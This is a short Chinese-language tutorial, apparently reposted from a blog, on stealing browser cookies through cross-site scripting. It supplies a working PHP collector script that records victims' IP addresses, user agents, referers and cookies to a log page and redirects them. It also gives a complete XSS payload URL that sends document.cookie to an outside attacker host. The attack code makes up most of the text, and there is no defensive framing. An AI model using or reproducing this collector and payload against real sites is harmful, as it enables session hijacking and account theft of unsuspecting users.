author:pentest

譯:[hiphop]

收集:X.DW

使用的工具:

1.免费网页支援PHP

2.存在xss的脆弱的网站。


vb.php为存放cookie的网页


PHP Code:


<head>
<meta http-equiv="Content-Language" content="it">
<title>Cookies Stealther - Designed and programmed by R00t[ATI]</title>
</head>

<body bgcolor="#C0C0C0">

<p align="center"><font color="#FF0000">COOKIES STEALTHER</font></p>
<p align="center"><font face="Arial" color="#FF0000">By R00T[ATI]</font></p>
<p align="left">&nbsp;</p>

</body> 

documents.php取得cookie的网页


PHP Code:

<?php

$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];

$data = $_GET[c];

$time = date("Y-m-d G:i:s A");
$text = "<br><br>".$time." = ".$ip."<br><br>User Agent: ".$agent."<br>Referer: ".$referer."<br>Session: ".$data."<br><br><br>";

$file = fopen('vb.php' , 'a');
fwrite($file,$text);
fclose($file);
header("Location: http://www.google.com");

?>

Vb.php文件是用来收集Cookie和其他信息。

documents.php文件用于抓取资料如: IP地址,用户代理和cookie 。

现在,我们需要找到脆弱网站跨站点脚本( XSS ) 。在这之后插入一个脚本调用documents.php是抓住文件的Cookie使用的方法

documents.php?c="+document.cookie;
如下例子

:
Code:
http://vulnerable-site.com/vulnerable_page.php?vulnerable_method=<script>document.location="http://syshack.sy.funpic.de/documents.php?c="+document.cookie;</script>

当受害者点到这个连结时cookie就被偷走了会存放在vb.php里面

文章如转载,请注明转载自:http://www.5iadmin.com/post/61.html